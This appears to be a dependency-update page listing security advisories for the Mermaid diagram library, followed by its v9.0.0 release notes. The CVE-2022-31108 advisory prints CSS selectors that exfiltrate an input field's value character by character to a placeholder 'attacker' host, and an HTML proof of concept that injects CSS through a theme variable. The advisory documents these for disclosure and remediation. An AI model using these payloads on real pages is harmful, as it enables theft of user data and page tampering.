GitHub Vulnerability Alerts

CVE-2021-43861

Patches

Workarounds

You need to upgrade in order to avoid this issue.

CVE-2021-35513

Mermaid before 8.11.0 allows XSS when the antiscript feature is used.

CVE-2022-31108

An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.

input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Details

Issue 1: Multiple CSS Injection (GHSL-2022-036)

By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.

Snippet from src/styles.js:

const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }

For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

Impact

This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

v9.0.0

Release Notes

Main feature

Moving the gitGraph from experimental alpha status to a fully supported diagram type which handles theming and directives. The grammar has changed slightly from the alpha version, and no longer supports reset operations and some internal fast-forwarding has been removed for simplicity. Some few GitGraphs based on the alpha version might break with the update. This is the reason for the major version number update.

We now support:

  • Commit types
  • Multiple branches in sperate lanes
  • Theming
